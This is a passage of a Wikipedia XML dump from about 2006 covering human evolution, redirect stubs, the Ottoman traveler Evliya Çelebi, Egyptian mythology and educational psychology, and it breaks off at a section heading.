''[[Human|H. sapiens]]'' has lived from about 200 TYA to the present.  Between 400,000 years ago and the second interglacial period in the Middle [[Pleistocene]], around 250,000 years ago, the trend in cranial expansion and the elaboration of stone tool technologies developed, providing evidence for a transition from ''H. erectus'' to ''[[Human|H. sapiens]]''.  The direct evidence suggests there was a [[Migration (human)|migration]] of ''H. erectus'' out of Africa, then a further speciation of ''H. sapiens'' from ''H. erectus'' in Africa (there is little evidence that this speciation occurred elsewhere).  Then a [[out of Africa hypothesis|subsequent migration]] within and out of Africa eventually replaced the earlier dispersed ''H. erectus''.  However, the current evidence does not ''preclude'' multiregional speciation, either.  This is a hotly debated area in [[paleoanthropology]].  Sapiens means wise or intelligent.  Current research establishes that human beings are highly genetically homogenous, meaning that the DNA of individual Homo Sapiens is more alike than usual for most species, a result of our relatively recent evolution.  Distinctive genetic characteristics have arisen however, primarily as the result of small groups of people moving into new environmental circumstances.  Such small groups are initially highly inbred, allowing the relatively rapid transmission of traits favorable to the new environment.  These adapted traits are a very small component of the Homo Sapiens genome and include such outward &quot;racial&quot; characteristics as skin color and nose form in addition to internal characteristics such as the ability to breathe more efficiently in high altitudes.

==Notable human evolution researchers==
* [[Henry McHenry]]
* [[Svante Paabo]]
* [[Jeffrey H. Schwartz]]
* [[Erik Trinkaus]]
* [[Milford H. Wolpoff]]

==Additional notes==
The validity of evolution and the origins of humanity have often been a subject of great political and religious controversy (see [[Creation-evolution controversy]] and [[Hybrid-origin]]).

The classification of humans and their relatives has changed considerably over time (see [[Ape#History of hominoid taxonomy|History of hominoid taxonomy]]).

Speculation about the future evolution of humans is often explored in [[science fiction]] as continued [[speciation]] of humans as they fill various [[ecological niche|ecological niches]] (see [[adaptive radiation]] 
and [[Co-evolution]]).

==References ==

&lt;references/&gt;
*Wolfgang Enard et al. &quot;Molecular evolution of [[FOXP2]], a gene involved in speech and language.&quot;  ''Nature'', Vol 418 ([[22 August]] [[2002]]) p. 870.
*[http://www.psu.edu/ur/NEWS/news/Neandertal.html DNA Shows Neandertals Were Not Our Ancestors]
*Ovchinnikov, et al. &quot;Molecular analysis of Neanderthal DNA from the Northern [[Caucasus]].&quot; ''Nature'' 404, 490 (2000).

==See also==
{| border=0 cellpadding=0
|- valign=top
|
* [[Aquatic ape hypothesis]]
* [[Archaeogenetics]]
* [[Dual inheritance theory]]
* [[Evolutionary medicine]]
* [[Evolutionary neuroscience]]
* [[Evolutionary psychology]]
* [[FOXP2]]
* [[Graphical timeline of human evolution]]
|
* [[Human behavioral ecology]]
* [[Mitochondrial Eve]] (African Eve theory)
* [[Multi-regional origin]]
* [[Origin belief]]
* [[Physical anthropology]]
* [[Single origin hypothesis]]
* [[Timeline of human evolution]]
|}

==External links==

* [http://www.becominghuman.org/ Becoming Human] - Provided by the Institute of Human Origins.
* [http://www.evolution-of-man.info/combined.htm Evolution of Man]
* [http://www.imperial.ac.uk/P3487.htm The human immune system may limit future evolution]
* [http://www.human-evolution.org Human evolution and the future]
* [http://www.andaman.org/book/chapter34/text34.htm Relations of the Homo sapiens]
* [http://www.talkorigins.org/faqs/homs/species.html Hominid Species] at talkorigins.org
* [http://www.psu.edu/ur/NEWS/news/Neandertal.html DNA Shows Neandertals Were Not Our Ancestors]
* [http://www.pbs.org/wgbh/nova/neanderthals/ Neanderthals on Trial] Nova Online - Provided by ''[[Public Broadcasting Service|PBS]]''.
* [http://www.mnh.si.edu/anthro/humanorigins/ha/a_tree.html Tree of evolution of Man's fossil ancestors]
* [http://www.evolutionpages.com/FOXP2_language.htm FOXP2 and the Evolution of Language]
* [https://www5.nationalgeographic.com/genographic/atlas.html Atlas of the Human Journey] (National Geographic)
* [http://info.anu.edu.au/mac/Newsletters_and_Journals/ANU_Reporter/_pdf/vol_29_no_01/dogs.html Theory suggets greater role for man's best friend]
* [http://groups.yahoo.com/group/AAT Waterside adaptations in the genus Homo]
* [http://homepage.uibk.ac.at/~c720126/humanethologie/ws/medicus/block1/inhalt.html Theory of Human Sciences (Documents No. 8 and 9 in English)]


{{evolutionary biology}}
{{Human Evolution}}
[[Category:Human evolution|*]]
[[Category:Neogene]]

[[bs:Ljudska evolucija]]
[[cs:Vývoj člověka]]
[[da:Menneskets udvikling]]
[[de:Hominisation]]
[[es:Evolución humana]]
[[et:Inimese evolutsioon]]
[[fi:Ihmisen evoluutio]]
[[fr:Lignée humaine]]
[[ko:인류의 진화]]
[[pl:Ewolucja człowieka]]
[[pt:Evolução Humana]]
[[la:Evolutio Hominis]]
[[sl:Nastanek in razvoj človeka]]
[[sr:Развој човека]]
[[sv:Människans utveckling]]
[[th:วิวัฒนาการของมนุษย์]]
[[uk:Антропогенез]]
[[zh:人类起源]]</text>
    </revision>
  </page>
  <page>
    <title>Eighteen wheeler</title>
    <id>10327</id>
    <revision>
      <id>15908145</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Semi-trailer]]
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  </page>
  <page>
    <title>Evliya Çelebi</title>
    <id>10328</id>
    <revision>
      <id>33251623</id>
      <timestamp>2005-12-30T14:09:14Z</timestamp>
      <contributor>
        <username>Opoudjis</username>
        <id>374618</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Evliya Çelebi''' (also known as '''Derviş Mehmed Zilli''') was one of the most famous [[Ottoman Empire|Ottoman]] travelers, who traveled throughout the territories of the [[Ottoman Empire]] and the neighbouring lands over a period of forty years.

Born on [[February 25]], [[1611]] in [[Istanbul]] as the son of a [[jewellery]] designer for the Ottoman court, he received an excellent education. After initially traveling in Istanbul and taking notes on buildings, markets, customs and culture, he started his first journey outside the city in 1640. His collection of notes of all of his travels formed a ten volume work called ''[[Seyahatname]]'' (Book of Travels). Although many of the descriptions in this book were written in a quite exaggerated manner, his notes are widely accepted as a useful guide to the cultural aspects and life style of Ottoman Empire in the [[17th century]].

The Seyahatname contains the first transcriptions of many [[Caucasian languages]] and [[Tsakonian]], and the only extant specimens of written [[Ubykh language|Ubykh]] outside the linguistic literature.

[[Category:Ottoman Empire]]
[[Category:Explorers of Asia]]

[[de:Evliya Çelebi]]
[[hu:Evlija Cselebi]]
[[sk:Evliya Çelebi]]
[[tr:Evliya Çelebi]]</text>
    </revision>
  </page>
  <page>
    <title>Eternal existence</title>
    <id>10329</id>
    <revision>
      <id>15908147</id>
      <timestamp>2003-04-27T19:06:37Z</timestamp>
      <contributor>
        <ip>213.253.39.21</ip>
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      <comment>redireting</comment>
      <text xml:space="preserve">#REDIRECT [[eternity]]</text>
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  </page>
  <page>
    <title>Egyptian mythology</title>
    <id>10331</id>
    <revision>
      <id>41987224</id>
      <timestamp>2006-03-03T01:37:22Z</timestamp>
      <contributor>
        <username>Joy Stovall</username>
        <id>69412</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.63.151.22|203.63.151.22]] ([[User talk:203.63.151.22|talk]]) to last version by DanielCD</comment>
      <text xml:space="preserve">'''Egyptian mythology''' or '''Egyptian religion''' is the succession of tentative beliefs held by the people of [[Egypt]] for over three thousand years, prior to major exposure to [[Christianity]] and [[Islam]]. 

== Gods ==
[[Image:Egypt.Thoth.01.jpg|right|thumb|111px|Thoth]]

'''Early beliefs can be split into 5 distinct localized groups, 
* the [[Ennead]] of [[Heliopolis]], whose chief god was [[Atum]]
* the [[Ogdoad]] of [[Hermopolis]], where the chief god was [[Ra]]
* the [[Chnum]]-[[Satet]]-[[Anuket]] triad of [[Elephantine]], where the chief god was [[Chnum]]
* the [[Amun]]-[[Mut]]-[[Chons]] triad of [[Thebes, Egypt|Thebes]], where the chief god was [[Amun]]
* the [[Ptah]]-[[Sekhmet]]-[[Nefertem]] triad of [[Memphis, Egypt|Memphis]], unusual in that the gods were unconnected before the triad was formalised, where the chief god was [[Ptah]]

[[Image:Egypt.Mythology.Set.jpg|left|thumb|111px|Set]]
Throughout the vast and complex history of Egypt, the dominant beliefs of the Ancient Egyptians merged and mutated as leaders of different groups gained power. This process continued even after the end of the Egyptian civilisation as we know it today. As an example, during the New Kingdom Ra and Amun became [[Amun-Ra]]. This &quot;merging&quot; into a single god is typically referred to as [[syncretism]]. Syncretism should be distinguished from mere groupings, also referred to as &quot;families&quot; such as Amun, Mut and Khonsu, where no &quot;merging&quot; takes place. Over time, deities took part in multiple syncretic relationships, for instance, the combination of Ra and [[Horus]] into [[Ra-Herakty]]. However, even when taking part in such a syncretic relationship, the original deities did not become completely &quot;absorbed&quot; into the combined deity, although the individuality of the one was often greatly weakened. Also, these syncretic relationships sometimes invloved more than just two deities, for instance, Ptah, Seker and [[Osiris]], becoming ''Ptah-Seker-Osiris''. The goddesses followed a similar pattern. Also important to keep in mind is that sometimes the attributes of one deity got closely associated with another, without any &quot;formal&quot; syncretism taking place. For instance, the loose association of [[Hathor]] with [[Isis]]. 

An interesting aspect of Ancient Egyptian religion is that deities sometimes played different conflicting roles. As an example, the lioness [[Sekhmet]] being sent out by Ra to devour the humans for having rebelled against him, but later on becoming a fierce protectress of the kingdom, life in general and the sick. Even more complex is the roles of [[Set (mythology)|Set]]. By looking at the mythology of Set from a modern perspective it is very easy to cast Set in the role of arch villain and source of evil, especially if one only looks at the mythology surrounding Set's relationship with Osiris. This is however wrong as Set was earlier playing the role of destroyer of Apep, in the service of Ra on his barge, and thus serving to uphold Ma'at (Truth, Justice and Harmony). 

Given the diverse tapestry of religeous history in Ancient Egypt, it comes as no surprise that many different forms of theism evolved. Although mainly [[henotheism|henotheistic]] in nature, at some point even [[monotheism]], as introduced by [[Akhenaten]] thrived. What is important to realise is that it is very dangerous to try and cast the religion of the Ancient Egyptians in any particular theistic form. Even more dangerous to claim is that, towards the end of the Egyptian civilisation, a drive toward monotheism was taking place. The evidence of the time (Greaco-Roman period) seems counter to this belief: although syncretism was still taking place (sometimes and more frequently between Egyptian and non-Egyptian deities), many deities were still revered and served. As an example the following which [[Thoth]] enjoyed during these later periods. This is quite evident when one simply looks at the vast number of mummified Ibis birds offered to him. Also, the belief in Egyptian deities were spreading to countries other than Egypt. For instance the Roman belief in, and following of.&lt;b/&gt;

The Egyptians believed that in the beginning, the universe was filled with the dark waters of chaos. The first god, Re-Atum, appeared from the water as the land of Egypt appears every year out of the flood waters of the Nile.  &lt;b/&gt;Re-Atum spat and out of the spittle came out the gods Shu (air) and Tefnut (moisture). The world was created when Shu and Tefnut gave birth to two children: Nut (sky) &amp; Geb (the Earth).  Humans were created when Shu and Tefnut went wandering in the dark wastes and got lost. Re-Atum sent his eye to find them. On reuniting, his tears of joy turned into people. Osiris was the son of Re-Atum and king of Egypt. His brother Seth represented evil in the universe. He murdered Osiris and himself became the king. After killing Osiris Seth tore his body into pieces, but Isis rescued most of the pieces for burial beneath the temple. Seth made himself king but was challenged by Osiris's son-Horus. Seth lost and was sent to the desert. He became the God of terrible storms. Osiris was mummified by Anubis and became God of the dead. Horus became the King and from him descended the pharaohs.

==Death==
Egypt had a highly developed view of the afterlife with elaborate rituals for preparing the body and soul for a peaceful life after death. Beliefs about the [[Egyptian soul|soul]] and afterlife focused heavily on preservation of the body, or ba (The soul was known as the ka). This meant that [[embalming]] and [[Mummy|mummification]] were practiced, in order to preserve the individual's identity in the afterlife. Originally the dead were buried in [[reed (plant)|reed]] caskets in the searing hot [[sand]], which caused the remains to dry quickly, preventing decomposition, and were subsequently buried. Later, they started constructing wooden tombs, and the extensive process of [[mummy|mummification]] and associated [[Egyptian burial rituals and protocol|burial rituals and rules]] began. [[Embalming]] was developed by the Egyptians around the 4th Dynasty. All soft tissues were removed, and the cavities washed and packed with [[natron]], then the exterior body was buried in natron as well. Since it was a stoneable offence to harm the body of the Pharaoh, even after death, the person who made the cut in the abdomen with a rock knife was ceremonially chased away and had rocks thrown at him. 

After coming out of the natron, the bodies were coated inside and out with resin to preserve them, then wrapped with linen bandages, embedded with religious amulets and tailsmans. In the case of royalty, this was usually then placed inside a series of nested coffins the outermost of which was a stone [[sarcophagus]]. The [[intestine]]s, [[lung]]s, [[liver]] and the [[stomach]] were preserved separately and stored in [[canopic jar]]s protected by the [[Four sons of Horus]].  Other creatures were also mummified, sometimes thought to be pets of Egyptian families, but more frequently or more likely they were the representations of the Gods. The [[ibis]], [[crocodile]], [[cat]]s, [[Nile Perch|nile perch]] and [[baboon]] can be found in perfect mummified forms.

The [[Book of the Dead]] were a series of almost two hundred sectional texts, songs and pictures written on papyrus, individually customised for the deceased, which were buried along with the dead in order to ease their passage into the underworld.  In some tombs, the Book of the Dead has also been found painted on the walls. One of the best examples of the Book of the Dead is ''The Papyrus of Ani'', created around [[1240 BC]], which, in addition to the texts themselves, also contains many pictures of Ani and his wife on their journey through the land of the dead.

In later belief, the soul of the deceased is led into a hall of judgement in [[Duat]], by [[Anubis]],god of mummification, and the deceased's [[heart]], which was the record of the morality of the owner, is weighed against a single feather representing [[Maàt]]'s (the concept of truth, and order). If the outcome is favourable, the deceased is taken to [[Osiris]], god of the afterlife, in [[Aaru]], but the  demon [[Ammit]] (''Eater of Hearts'') &amp;ndash; part crocodile, part lion, and part hippopotamus &amp;ndash; destroys those hearts whom the verdict is against, leaving the owner to remain in Duat. [http://www.carnegiemuseums.org/cmnh/exhibits/egypt/funerary_customs.htm]

== The monotheistic period ==
[[Image:Aten_disk.jpg|right|333px|thumb|Pharaoh [[Akhenaten]] and his family adoring the [[Aten]].]]

A short interval of [[monotheism]] ([[Atenism]]) occurred under the reign of [[Akhenaten]], focused on the Egyptian sun deity [[Aten]].  Akhenaten outlawed the worship of any other god and built a new capital ([[Amarna]]) with temples for Aten.  The religious change survived only until the death of Akhenaten, and the old religion was quickly restored during the reign of [[Tutankhamun]], most likely Akhenaten's son by a minor wife. Interestingly, Tutankhamun and several other post-restoration pharaohs were excluded from future king lists, as well as the heretics Akhenaten and [[Smenkhare]].

While most historians regard this period as monotheistic, some researchers do not regard [[Atenism]] as such. They state that people did not worship [[Aten]], but worshipped the royal family as a pantheon of gods who received their divine power from the Aten. That point of view is largely dismissed by the historical community. Some researches go as far as to suggest that Akhenaten or some of his viziers were the Biblical [[Moses]]; the scientific community dismisses these claims as wishful thinking, since none of the theories are based on proper research, and the well-documented worship of [[Aten]] has nothing in common with the religion of Moses. 

After the fall of the Amarna dynasty, the original Egyptian [[wiktionary:pantheon|pantheon]] survived more or less as the dominant faith, until the establishment of [[Coptic Christianity]] and later [[Islam]], even though the Egyptians continued to have relations with the other monotheistic cultures (e.g. [[Judaism|Hebrew]]s). Egyptian mythology put up surprisingly little resistance to the spread of Christianity, sometimes explained by claiming that [[Jesus]] was originally a [[syncretism]] based predominantly on [[Horus]], with [[Isis]] and her worship becoming [[Mary]] and [[veneration]] (see [[Jesus myth]]).

== Temples ==
Many temples are still standing today. Others are in ruins from wear and tear, while others have been lost entirely. Pharaoh [[Ramses II]] was a particularly prolific builder of temples. 

Some known temples include: 

* [[Abu Simbel]] &amp;ndash; Complex of two massive rock temples in southern Egypt on the western bank of the Nile.
* [[Abydos, Egypt|Abydos]] (Great Temple of Abydos) &amp;ndash; Adoration of the early kings, whose cemetery, to which it forms a great funerary chapel, lies behind it.
* [[Ain el-Muftella]] ([[Bahariya Oasis]]) [http://www.touregypt.net/featurestories/ain.htm] &amp;ndash; Could have served as the city center of El Qasr. It was  probably built around the 26th Dynasty. 
* [[Karnak]] &amp;ndash; Once part of the ancient capital of Egypt, [[Thebes (Egypt)|Thebes]].
* [[Beni Hasan|Bani Hasan al Shurruq]] [http://www.touregypt.net/featurestories/banihasan.htm] &amp;ndash; Located in Middle Egypt near to Al-Minya and survived the reconstruction of the New Kingdom.
* [[Edfu]] &amp;ndash; Ptolemaic temple that is located between Aswan and Luxor. 
* [[Temple of Kom Ombo]] &amp;ndash; Controlled the trade routes from Nubia to the Nile Valley.
* [[Luxor temple|Luxor]] &amp;ndash; Built largely by Amenhotep III and Ramesses II, it was the centre of the [[Opet Festival]]. 
* [[Medinet Habu]] [http://www.touregypt.net/featurestories/habu.htm] (Memorial Temple of Ramesses III)&amp;ndash; Temple and a complex of temples dating from the New Kingdom.
* [[Hatshepsut|Temple of Hatshepsut]] &amp;ndash; Mortuary temple complex at Deir el-Bahri with a colonnaded structure of perfect harmony, built nearly one thousand years before the Parthenon.
* [[Philae]] &amp;ndash;  Island of Philae with Temple of Aset which was constructed in the 30th Dynasty.
* [[Ramesseum]] (Memorial Temple of Ramesses II) &amp;ndash; The main building, dedicated to the funerary cult, comprised two stone pylons (gateways, some 60 m wide), one after the other, each leading into a courtyard. Beyond the second courtyard, at the centre of the complex, was a covered 48-column hypostyle hall, surrounding the inner sanctuary.
* [[Dendera Temple complex]] &amp;ndash; Several temples but the all overshadowing building in the complex is the main temple, the [[Hathor temple]].

== External influences ==
Egypt exchanged ideas with [[Libya]] during its early unsettled period. Egypt was also influenced by the Greek [[Ptolemaic]] dynasties, which ruled Egypt for 300 years. [[Cleopatra VII of Egypt|Cleopatra]] was the only Ptolemaic queen to rule on her own. Egypt was incorporated into the Roman Empire, and was ruled first from Rome and then from Constantinople (until the Arab conquest). 

;Libyan period 
''Main article'': [[Third Intermediate Period of Egypt]]&lt;br /&gt;
''22nd - 25th Dynasty''

Egypt has long had ties with Libya. After the death of [[Rameses XI]], the priesthood in the person of [[Herihor]] wrest control of Egypt away from the Pharaohs until they were superseded (without any apparent struggle) by the Libyan kings of the [[twenty-second dynasty of Egypt|22nd Dynasty]]. The first king of the new Dynasty, [[Shoshenq I]], served as a general under the last ruler of the 21st Dynasty. It is known that he appointed his own son to be the High Priest of Amun, a post that was previously a hereditary appointment. The scant and patchy nature of the written records from this period suggest that it was unsettled.  There appear to have been many subversive groups which eventually led to the creation of the [[twenty-third dynasty of Egypt|23rd dynasty]] which ran concurrent with the [[twenty-second dynasty of Egypt|22nd]].

;Ptolemaic period
''Main article'': [[Ptolemaic Dynasty|Greek Egypt]]&lt;br /&gt;
''304 BC - 30 BC'' 

Started with [[Ptolemy I of Egypt]] and ended with [[Cleopatra VII]]. As [[Ptolemy I of Egypt|Ptolemy I Soter]] (&quot;Saviour&quot;), he founded the [[Ptolemaic dynasty]], which was to rule Egypt for 300 years. All the male rulers of the dynasty took the name &quot;Ptolemy&quot;. Because the Ptolemaic kings adopted the Egyptian custom of marrying their sisters, many of the kings ruled jointly with their spouses, who were also of the royal house. This custom made Ptolemaic politics confusingly incestuous, and the later Ptolemies were increasingly feeble. The last of the Ptolemies, the famous [[Cleopatra VII of Egypt|Cleopatra]], was the only Ptolemaic queen to rule on her own, after the death of her brother/husband, [[Ptolemy XIII of Egypt|Ptolemy XIII]].

;Roman period
''Main article'': [[History of Greek and Roman Egypt|Roman Egypt]]&lt;br /&gt;
''30 BC - 639 AD''

Egypt was incorporated into the [[Roman Empire]] and was ruled first from [[Rome]] and then from [[Constantinople]] (until the Arab conquest). The most revolutionary event in the history of Roman Egypt was the introduction of [[Christianity]] in the 2nd century. It was at first vigorously persecuted by the Roman authorities, who feared religious discord more than anything else in a country where religion had always been paramount. But it soon gained adherents among the Jews of Alexandria. From them it rapidly passed to the Greeks, and then to the native Egyptians, who found its promise of personal salvation and its teachings of social equality appealing.

==Notes on pronunciation==
A &quot;received pronunciation&quot; of the names of ancient Egyptian deities has formed.  By and large, this pronunciation is acceptable for most consonants and utterly wrong for the vowels.  Egyptologists developed a set of conventions to make it easier to talk about the terms they used.  Two distinct different glottal consonants were both replaced with &quot;a&quot;.  A consonant similar to the &quot;y&quot; in the English word &quot;yet&quot; was replaced with &quot;i&quot;.  A consonant similar to the &quot;w&quot; in the English word &quot;well&quot; was replaced with &quot;u&quot;.  Then, &quot;e&quot; was inserted between other consonants.  Thus, for example, the Egyptian king whose name is most accurately transcribed as ''R&amp;#705;-ms-sw'' is known as &quot;Rameses&quot;, meaning &quot;[[Ra]] has Fashioned (lit. &quot;Borne&quot;) Him&quot;.  

==See also==
* [[Ancient Egyptian eschatology]]
* [[Ancient Egyptian Funerary Texts]]
** [[Book of the Dead]]
** [[Book of Gates]]
* [[Egyptian soul]]
* [[Egyptian iconography]]
* [[Sun mythology]]
* [[List of Egyptian mythology topics]] (which also lists the particular [[deities]]).
* [[Numbers in Egyptian Mythology]]
* [[Kemeticism]]

==Further reading==
* Schulz, R. and  M. Seidel, &quot;''Egypt: The World of the Pharaohs''&quot;. Könemann, Cologne 1998. ISBN 3895089133
* Budge, E. A. Wallis, &quot;''Egyptian Religion: Egyptian Ideas of the Future Life'' (Library of the Mystic Arts)&quot;. Citadel Press. August 1, 1991. ISBN 0806512296
* Harris, Geraldine, John Sibbick, and David O'Connor, &quot;''Gods and Pharaohs from Egyptian Mythology''&quot;. Bedrick, 1992. ISBN 0872269078
* Hart, George, &quot;''Egyptian Myths'' (Legendary Past Series)&quot;. University of Texas Press (1st edition), 1997. ISBN 0292720769
* Osman, Ahmed, ''Moses and Akhenaten. The Secret History of Egypt at the Time of the Exodus'',  (December 2002, Inner Traditions International, Limited) ISBN 1591430046
* [[Mubabinge Bilolo|Bilolo, Mubabinge]], ''Les cosmo-théologies philosophiques d'Héliopolis et d'Hermopolis. Essai de thématisation et de systématisation'', (Academy of African Thought, Sect. I, vol. 2),  Kinshasa-Munich 1987;  new ed., Munich-Paris, 2004.
* Bilolo, Mubabinge, &quot;''Les cosmo-théologies philosophiques de l’Égypte Antique. Problématique, prémisses herméneutiques et problèmes majeurs'', (Academy of African Thought, Sect. I, vol. 1)&quot;, Kinshasa-Munich 1986;  new ed., Munich-Paris, 2003.
* Bilolo, Mubabinge, &quot;''Métaphysique Pharaonique IIIème millénaire av. J.-C.'' (Academy of African Thought &amp; C.A. Diop-Center for Egyptological Studies-INADEP, Sect. I, vol. 4)&quot;,  Kinshasa-Munich 1995 ;  new ed., Munich-Paris, 2003.
* Bilolo, Mubabinge, &quot;''Le Créateur et la Création dans la pensée memphite et amarnienne. Approche synoptique du Document Philosophique de Memphis et du Grand Hymne Théologique d'Echnaton'', (Academy of African Thought, Sect. I, vol. 2)&quot;, Kinshasa-Munich 1988;  new ed., Munich-Paris, 2004.
* Pinch, Geraldine, &quot;''Egyptian Mythology: A Guide to the Gods, Goddesses, and Traditions of Ancient Egypt''&quot;. Oxford University Press, 2004. ISBN 0195170245

==External links==
*[http://www.glyphdoctors.com Glyphdoctors: Study hieroglyphics and Egyptian mythology online].
*[http://touregypt.net/godsofegypt/ Egyptian Ministry of Tourism]'s extensive information on Egyptian Deities
* Hare, J.B., &quot;''[http://www.sacred-texts.com/egy/index.htm Ancient Egypt]''&quot;. (sacred-texts.com)
* &quot;''Ancient Egyptian architecture: [http://www.digitalegypt.ucl.ac.uk/art/temple.html temples]''&quot;.  University College London.
* O'Brien, Alexandra A., &quot;''[http://www-oi.uchicago.edu/OI/DEPT/RA/ABZU/DEATH.HTML Death in Ancient Egypt]''&quot;. 
* Telford, Mark Patrick, &quot;''[http://www.the-telfords.pwp.blueyonder.co.uk/egypt/afterlife.htm Death And The Afterlife]''&quot;.
* Crystal, Ellie, &quot;''[http://www.crystalinks.com/egypt.html Ancient Egypt]''&quot;. Crystalinks Metaphysical and Science.
* &quot;''[http://www.egyptianculture.net Ancient Egyptian Culture]

&lt;b/&gt;

[[Category:Egyptian mythology|*]]
[[Category:Religious faiths, traditions, and movements|*]]

[[bg:Египетска митология]]
[[ca:Mitologia egípcia]]
[[da:Ægyptisk mytologi]]
[[de:Ägyptische Mythologie]]
[[et:Egiptuse jumalad]]
[[el:Αιγυπτιακή μυθολογία]]
[[es:Mitología egipcia]]
[[eo:Egipta Mitologio]]
[[fr:Mythologie égyptienne]]
[[ko:이집트 신화]]
[[hi:मिस्र का धर्म]]
[[he:מיתולוגיה מצרית]]
[[la:Religio Aegyptia]]
[[lt:Egiptiečių mitologija]]
[[nl:Egyptische mythologie]]
[[ja:エジプト神話]]
[[pl:Mitologia egipska]]
[[pt:Mitologia egípcia]]
[[ro:Mitologie egipteană]]
[[ru:Древнеегипетская мифология]]
[[sr:Египатска Митологија]]
[[sv:Egyptisk religion]]
[[zh:埃及神话]]</text>
    </revision>
  </page>
  <page>
    <title>Educational psychology</title>
    <id>10332</id>
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      <timestamp>2006-03-03T15:49:34Z</timestamp>
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      <minor />
      <comment>/* Careers in educational psychology */ that -&gt; who</comment>
      <text xml:space="preserve">{{Portalpar|Education|Nuvola apps bookcase.png}}
'''Educational psychology''' is the study of how humans learn in [[education|educational]] settings, the effectiveness of educational interventions, the psychology of teaching, and the [[social psychology]] of  [[school]]s as [[organization]]s.  Although the terms &quot;educational psychology&quot; and &quot;school psychology&quot; are often used interchangeably, researchers and theorists are likely to be identified as [[:Category:Educational psychologists|educational psychologists]], whereas practitioners in schools or school-related settings are identified as [[School psychologist|school psychologists]].  Educational psychology is concerned with the processes of educational attainment among the general population and sub-populations such as [[gifted]] children and those subject to specific [[disabilities]].
{{psychology}}
Educational psychology can in part be understood through its relationship with other disciplines. It is informed primarily by [[psychology]], bearing a relationship to that discipline analogous to the relationship between [[medicine]] and [[biology]]. Educational psychology in turn informs a wide range of specialities within educational studies, including [[instructional design]], [[educational technology]], curriculum development, [[organizational learning]], [[special education]] and [[classroom management]]. Educational psychology both draws from and contributes to [[cognitive science]] and the [[learning sciences]]. In universities, departments of educational psychology are usually housed within faculties of education, possibly accounting for the lack of representation of educational psychology content in introductory psychology textbooks (Lucas, Blazek, &amp; Raley, 2005).

==Social, moral and cognitive development==
[[Image:Kugleramme.jpg|right|thumb|250px| An [[abacus]] provides concrete experiences for learning abstract concepts.]]
To understand the characteristics of learners in [[child|childhood]], [[adolescence]], [[adulthood]], and [[old age]], educational psychology develops and applies theories of human [[developmental psychology|development]]. Often cast as stages through which people pass as they mature, developmental theories describe changes in mental abilities ([[cognition]]), social roles, moral reasoning, and beliefs about the nature of knowledge.

For example, educational psychologists have researched the instructional applicability of [[Cognitive Development|Jean Piaget's theory of development]], according to which children mature through four stages of cognitive capability. Piaget hypothesized that children are not capable of abstract logical thought until they are older than about 11 years, and therefore younger children need to be taught using concrete objects and examples. Researchers have found that transitions, such as from concrete to abstract logical thought, do not occur at the same time in all domains. A child may be able to think abstractly about mathematics, but remain limited to concrete thought when reasoning about human relationships. Perhaps Piaget's most enduring contribution is his insight that people actively construct their understanding through a self-regulatory process.

Piaget proposed a developmental theory of [[moral reasoning]] in which children progress from a naive understanding of [[morality]] based on behavior and outcomes to a more advanced understanding based on intentions. Piaget's views of moral development were elaborated by [[Lawrence Kohlberg|Kohlberg]] into a [[Kohlberg's stages of moral development|stage theory of moral development]]. There is evidence that the moral reasoning described in stage theories is not sufficient to account for moral behavior. For example, other factors such as modeling (as described by the [[social cognitive theory of morality]]) are required to explain [[bullying]].

Developmental theories are sometimes presented not as shifts between qualitatively different stages, but as gradual increments on separate dimensions. Development of epistemological beliefs (beliefs about knowledge) have been described in terms gradual changes in people's belief in: certainty and permanence of knowledge, fixedness of ability, and credibility of authorities such as teachers and experts. People develop more sophisticated beliefs about knowledge as they gain in education and maturity (Cano, 2005).

==Individual differences and disabilities==
[[Image:FiguralRelation.png|right|thumb|250px| An example of an item from a cognitive abilities test.]]

Each person has an individual profile of characteristics, abilities and challenges that result from learning and development. These manifest as individual differences in [[Intelligence (trait)|intelligence]], [[creativity]], [[cognitive style]], [[motivation]], and the capacity to process information, communicate, and relate to others. The most prevalent disabilities found among school age children are [[attention-deficit hyperactivity disorder]] (ADHD), [[learning disability]], [[dyslexia]], and [[speech disorder]]. Less common disabilities include [[mental retardation]], [[autism]], [[hearing impairment]], [[cerebral palsy]], [[epilepsy]], and [[blindness]].

Although theories of intelligence have been discussed by philosophers since [[Plato]], intelligence testing is an invention of educational psychology, and is coincident with the development of that discipline. Continuing debates about the nature of intelligence revolve on whether intelligence can be characterized by a single [[factor analysis|factor]] (Spearman's [[General intelligence factor|general intelligence)]], multiple factors (as in Sternberg's [[triarchic theory of intelligence]] and Gardner's [[theory of multiple intelligences]]), or whether it can be measured at all. In practice, standardized instruments such as the [[Stanford-Binet IQ test]] are widely used in economically developed countries to identify children in need of individualized educational treatment. Children classified as [[gifted]] are often provided with accelerated or enriched programs. Children identified with specific deficits may be provided with education in specific skills such as [[phonological awareness]].

== Learning and cognition ==
Two fundamental assumptions that underly formal education systems are that students (a) retain knowledge and skills they acquire in school, and (b) can apply them in situations outside the classroom. But are these assumptions accurate? Research has found that, even when students report not using the knowledge acquired in school, a considerable portion is retained for many years and long term retention is strongly dependent on the initial level of mastery (Semb &amp; Ellis, 1994).  When tested 10 years later, university students who took a child development course and attained high grades showed average retention scores of about 30%, whereas those who obtained moderate or lower grades showed average retention scores of about 20% (Ellis, Semb, &amp; Cole, 1998). There is much less consensus on the crucial question of how much knowledge acquired in school transfers to tasks encountered outside formal educational settings. Some psychologists claim that research evidence for this type of ''far transfer'' is scarce (Perkins &amp; Grotzer, 1997; Detterman, 1993), while others claim there is abundent evidence of far transfer in specific domains (e.g., Halpern, 1998). 

Several perspectives have been established within which the theories of learning used in educational psychology are formed and contested. These include [[Behaviorism]], [[Cognitivism (psychology)|Cognitivism]], [[Social Cognitivism]], and [[Constructivism (pedagogical)|Constructivism]]. This section summarizes how educational psychology has researched and applied theories within each of these perspectives.

===Behavioral perspective===
